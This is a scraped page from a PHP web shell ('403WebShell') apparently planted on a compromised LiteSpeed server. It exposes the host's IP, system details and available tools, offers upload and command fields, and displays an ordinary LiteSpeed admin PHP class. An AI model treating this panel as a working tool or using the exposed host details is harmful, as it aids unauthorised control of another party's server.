Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.165.234
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/thread-self/root/usr/local/lsws/admin/html.6.3.1/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/thread-self/root/usr/local/lsws/admin/html.6.3.1/classes/DPage.php
<?php

class DPage
{
	public $_type;//serv, vh, sl, admin
	public $_id;
	public $_name;
	public $_title;
	public $_helpLink;
	public $_tblIds;
	public $_includeScript;

	public function __construct($type, $id, $name, $title, $tblIds)
	{
		$this->_type = $type;
		$this->_id = $id;
		$this->_name = $name;
		$this->_title = $title;
		$this->_tblIds = $tblIds;
		$this->_helpLink = 'index.html';
	}

	public function PrintHtml(&$confData, $disp)
	{
		$viewTags = 'vbsDdBCiI';
		$editTags = 'eEaScn';
		$isEdit = ( strpos($editTags, $disp->_act) !== false );

		if ($disp->_act == 'd' || $disp->_act == 'i') {
			$this->printActionConfirm($disp);
		}

		if ($disp->_err != null) {
			echo GUIBase::message("", $disp->_err, "error");
		}

		$tblDef = DTblDef::GetInstance();
		if ($disp->_tid == null) {
			$tids = $this->_tblIds;
		} else {
			$tid = DUtil::getLastId($disp->_tid);
			$tids = array($tid);
		}
		$ref = DUtil::getLastId($disp->_ref);

		foreach ($tids as $ti) {
			$tbl = $tblDef->GetTblDef($ti);
			$isExtract = false;

			if ($disp->_act == 'a') {
				$d = [];
			} else if ($disp->_act == 'S' || $disp->_act == 'c' || $disp->_act == 'n') { //save failed or in change
				$isExtract = true;
				$d = &$confData;
			} else {
				$d = DUtil::locateData($confData, $tbl->_dataLoc, $disp->_ref);
			}
			if ($tbl->_holderIndex != null) {
				if ($disp->_act == 'e' || $disp->_act == 'E' || $disp->_act == 'a') {
					$disp->_info['holderIndex'] = is_array($d) ? array_keys($d) : null;
					$disp->_info['holderIndex_cur'] = $ref;
				}
				if (!$isExtract && $ref != null && substr($ti, -3) != 'TOP') {
					$d = &$d[$ref];
				}
			} else {
				$disp->_info['holderIndex'] = null;
			}
			echo "<div>";
			$tbl->PrintHtml($d, $ref, $disp, $isEdit);
			echo "</div>";

			if ($isEdit == false && $tbl->_linkedTbls != null && isset($tbl->_linkedTbls['disp'])) {
				foreach ($tbl->_linkedTbls['disp'] as $lti) {
					$linkedtbl = $tblDef->GetTblDef($lti);
					$dlinked = DUtil::locateData($d, $linkedtbl->_dataLoc);
					echo "<div>";
					$linkedtbl->PrintHtml($dlinked, $ref, $disp, false);
					echo "</div>";
				}
			}
		}
	}

	private function printActionConfirm($disp)
	{
		$hasB = (strpos($disp->_tid, '`') !== false );
		echo '<div class=message>';
		if ($disp->_act == 'd') {
			$actString = $hasB ? 'DC' : 'Dc';
			//should validate whether there is reference to this entry
			echo 'Are you sure you want to delete this entry?<br>' .
			'<span class="edit-link">' .
			$this->getActionLink($disp, $actString) . '</span>' .
			'<br>This will be permanently removed from the configuration file.';
		} elseif ($disp->_act == 'i') {
			$actString = $hasB ? 'IC' : 'Ic';
			echo 'Are you sure you want to instantiate this virtual host?<br>' .
			'<span class="edit-link">' .
			$this->getActionLink($disp, $actString) . '</span>' .
			'<br>This will create a dedicated configuration file for this virtual host.';
		}

		echo "</div>";
	}

	private function getActionLink($disp, $actions)
	{
		$buf = '';
		$allActions = ['D' => 'Yes', 'c' => 'Cancel', 'C' => 'Cancel', 'I' => 'Yes'];
		$chars = preg_split('//', $actions, -1, PREG_SPLIT_NO_EMPTY);
		foreach ($chars as $act) {
			$query_param = [
				'm' => $disp->_mid,
				'p' => $disp->_pid,
			];
			$t = '';
			$r = '';
			$buf .= '&nbsp;&nbsp;&nbsp;';
			$name = $allActions[$act];
			if ($act == 'b' || $act == 'c') {
				$act = 'b';
			} elseif (strpos('vEdDCBiI', $act) !== false) {
				if ($act == 'C') {
					$act = 'B';
				}

				$t = $disp->_tid;
				$r = $disp->_ref;
			}
			if ($t) {
				$query_param['t'] = $t;
			}
			if ($r) {
				$query_param['r'] = $r;
			}

			$query_param['a'] = $act;
			$query_param['tk'] = $disp->_token;

			$buf .= '<a href="' . $disp->_ctrlUrl . http_build_query($query_param) . '">' . $name . '</a>';
		}
		return $buf;
	}

}


Youez - 2016 - github.com/yon3zu
LinuXploit